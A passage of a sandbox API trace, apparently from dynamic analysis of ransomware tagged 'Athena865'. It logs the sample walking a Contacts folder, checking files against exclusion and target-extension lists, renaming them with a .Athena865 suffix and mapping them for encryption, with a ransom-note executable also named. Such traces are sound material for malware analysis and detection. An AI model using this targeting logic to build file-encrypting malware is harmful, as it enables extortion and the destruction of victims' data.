jadnvk.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.athena865"), dwFlags=0x1) returned 1 [0050.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1177) returned 1 [0050.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.078] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.079] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.079] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.079] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0050.080] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0050.081] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.082] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.082] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.083] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.083] CloseHandle (hObject=0x154) returned 1 [0050.083] CloseHandle (hObject=0x17c) returned 1 [0050.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.083] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.083] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.083] lstrlenW (lpString="desktop.ini") returned 11 [0050.083] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.083] lstrlenW (lpString="desktop.ini") returned 11 [0050.083] lstrlenW (lpString="Athena865") returned 9 [0050.084] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.084] lstrlenW (lpString=".dll") returned 4 [0050.084] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.084] lstrlenW (lpString=".lnk") returned 4 [0050.084] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.084] lstrlenW (lpString=".ini") returned 4 [0050.084] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.084] lstrlenW (lpString=".sys") returned 4 [0050.084] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.084] lstrlenW (lpString="desktop.ini") returned 11 [0050.084] lstrlenW (lpString="bak") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0050.084] lstrlenW (lpString="ba_") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0050.084] lstrlenW (lpString="dbb") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0050.084] lstrlenW (lpString="vmdk") returned 4 [0050.084] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0050.084] lstrlenW (lpString="rar") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0050.084] lstrlenW (lpString="zip") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0050.084] lstrlenW (lpString="tgz") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0050.084] lstrlenW (lpString="vbox") returned 4 [0050.084] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0050.084] lstrlenW (lpString="vdi") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0050.084] lstrlenW (lpString="vhd") returned 3 [0050.084] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0050.084] lstrlenW (lpString="vhdx") returned 4 [0050.084] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0050.084] lstrlenW (lpString="avhd") returned 4 [0050.084] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0050.085] lstrlenW (lpString="db") returned 2 [0050.085] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0050.085] lstrlenW (lpString="db2") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0050.085] lstrlenW (lpString="db3") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0050.085] lstrlenW (lpString="dbf") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0050.085] lstrlenW (lpString="mdf") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0050.085] lstrlenW (lpString="mdb") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0050.085] lstrlenW (lpString="sql") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0050.085] lstrlenW (lpString="sqlite") returned 6 [0050.085] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0050.085] lstrlenW (lpString="sqlite3") returned 7 [0050.085] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0050.085] lstrlenW (lpString="sqlitedb") returned 8 [0050.085] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0050.085] lstrlenW (lpString="xml") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0050.085] lstrlenW (lpString="$er") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0050.085] lstrlenW (lpString="4dd") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0050.085] lstrlenW (lpString="4dl") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0050.085] lstrlenW (lpString="^^^") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0050.085] lstrlenW (lpString="abs") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0050.085] lstrlenW (lpString="abx") returned 3 [0050.085] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0050.085] lstrlenW (lpString="accdb") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0050.086] lstrlenW (lpString="accdc") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0050.086] lstrlenW (lpString="accde") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0050.086] lstrlenW (lpString="accdr") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0050.086] lstrlenW (lpString="accdt") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0050.086] lstrlenW (lpString="accdw") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0050.086] lstrlenW (lpString="accft") returned 5 [0050.086] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0050.086] lstrlenW (lpString="adb") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.086] lstrlenW (lpString="adb") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.086] lstrlenW (lpString="ade") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0050.086] lstrlenW (lpString="adf") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0050.086] lstrlenW (lpString="adn") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0050.086] lstrlenW (lpString="adp") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0050.086] lstrlenW (lpString="alf") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0050.086] lstrlenW (lpString="ask") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0050.086] lstrlenW (lpString="btr") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0050.086] lstrlenW (lpString="cat") returned 3 [0050.086] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0050.086] lstrlenW (lpString="cdb") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0050.087] lstrlenW (lpString="ckp") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0050.087] lstrlenW (lpString="cma") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0050.087] lstrlenW (lpString="cpd") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0050.087] lstrlenW (lpString="dacpac") returned 6 [0050.087] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0050.087] lstrlenW (lpString="dad") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0050.087] lstrlenW (lpString="dadiagrams") returned 10 [0050.087] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0050.087] lstrlenW (lpString="daschema") returned 8 [0050.087] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0050.087] lstrlenW (lpString="db-journal") returned 10 [0050.087] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0050.087] lstrlenW (lpString="db-shm") returned 6 [0050.087] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0050.087] lstrlenW (lpString="db-wal") returned 6 [0050.087] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0050.087] lstrlenW (lpString="dbc") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0050.087] lstrlenW (lpString="dbs") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0050.087] lstrlenW (lpString="dbt") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0050.087] lstrlenW (lpString="dbv") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0050.087] lstrlenW (lpString="dbx") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0050.087] lstrlenW (lpString="dcb") returned 3 [0050.087] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0050.088] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.Athena865") returned 77 [0050.088] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0050.088] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=412) returned 1 [0050.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.089] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.089] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.089] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.090] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0050.091] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0050.091] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.092] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.092] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.092] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.092] CloseHandle (hObject=0x154) returned 1 [0050.093] CloseHandle (hObject=0x17c) returned 1 [0050.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.096] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdeb7e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0050.096] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0050.097] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0050.097] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.097] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.097] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1 [0050.097] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1 [0050.098] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="windows") returned -1 [0050.098] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="bootmgr") returned 1 [0050.098] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="temp") returned -1 [0050.098] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="pagefile.sys") returned -1 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="boot") returned 1 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="ids.txt") returned 1 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="ntuser.dat") returned -1 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="perflogs") returned -1 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="MSBuild") returned -1 [0050.099] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0050.099] lstrcpyW (in: lpString1=0x241e8b8, lpString2="lulcit amkdfe.contact" | out: lpString1="lulcit amkdfe.contact") returned="lulcit amkdfe.contact" [0050.099] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0050.099] lstrlenW (lpString="Athena865") returned 9 [0050.099] lstrcmpiW (lpString1="e.contact", lpString2="Athena865") returned 1 [0050.099] lstrlenW (lpString=".dll") returned 4 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2=".dll") returned 1 [0050.099] lstrlenW (lpString=".lnk") returned 4 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2=".lnk") returned 1 [0050.099] lstrlenW (lpString=".ini") returned 4 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2=".ini") returned 1 [0050.099] lstrlenW (lpString=".sys") returned 4 [0050.099] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2=".sys") returned 1 [0050.099] lstrlenW (lpString="lulcit amkdfe.contact") returned 21 [0050.099] lstrlenW (lpString="bak") returned 3 [0050.099] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0050.099] lstrlenW (lpString="ba_") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0050.100] lstrlenW (lpString="dbb") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0050.100] lstrlenW (lpString="vmdk") returned 4 [0050.100] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0050.100] lstrlenW (lpString="rar") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0050.100] lstrlenW (lpString="zip") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0050.100] lstrlenW (lpString="tgz") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0050.100] lstrlenW (lpString="vbox") returned 4 [0050.100] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0050.100] lstrlenW (lpString="vdi") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0050.100] lstrlenW (lpString="vhd") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0050.100] lstrlenW (lpString="vhdx") returned 4 [0050.100] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0050.100] lstrlenW (lpString="avhd") returned 4 [0050.100] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0050.100] lstrlenW (lpString="db") returned 2 [0050.100] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0050.100] lstrlenW (lpString="db2") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0050.100] lstrlenW (lpString="db3") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0050.100] lstrlenW (lpString="dbf") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0050.100] lstrlenW (lpString="mdf") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0050.100] lstrlenW (lpString="mdb") returned 3 [0050.100] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0050.101] lstrlenW (lpString="sql") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0050.101] lstrlenW (lpString="sqlite") returned 6 [0050.101] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0050.101] lstrlenW (lpString="sqlite3") returned 7 [0050.101] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0050.101] lstrlenW (lpString="sqlitedb") returned 8 [0050.101] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0050.101] lstrlenW (lpString="xml") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0050.101] lstrlenW (lpString="$er") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0050.101] lstrlenW (lpString="4dd") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0050.101] lstrlenW (lpString="4dl") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0050.101] lstrlenW (lpString="^^^") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0050.101] lstrlenW (lpString="abs") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0050.101] lstrlenW (lpString="abx") returned 3 [0050.101] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0050.101] lstrlenW (lpString="accdb") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0050.101] lstrlenW (lpString="accdc") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0050.101] lstrlenW (lpString="accde") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0050.101] lstrlenW (lpString="accdr") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0050.101] lstrlenW (lpString="accdt") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0050.101] lstrlenW (lpString="accdw") returned 5 [0050.101] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0050.101] lstrlenW (lpString="accft") returned 5 [0050.102] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0050.102] lstrlenW (lpString="adb") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.102] lstrlenW (lpString="adb") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.102] lstrlenW (lpString="ade") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0050.102] lstrlenW (lpString="adf") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0050.102] lstrlenW (lpString="adn") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0050.102] lstrlenW (lpString="adp") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0050.102] lstrlenW (lpString="alf") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0050.102] lstrlenW (lpString="ask") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0050.102] lstrlenW (lpString="btr") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0050.102] lstrlenW (lpString="cat") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0050.102] lstrlenW (lpString="cdb") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0050.102] lstrlenW (lpString="ckp") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0050.102] lstrlenW (lpString="cma") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0050.102] lstrlenW (lpString="cpd") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0050.102] lstrlenW (lpString="dacpac") returned 6 [0050.102] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0050.102] lstrlenW (lpString="dad") returned 3 [0050.102] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0050.102] 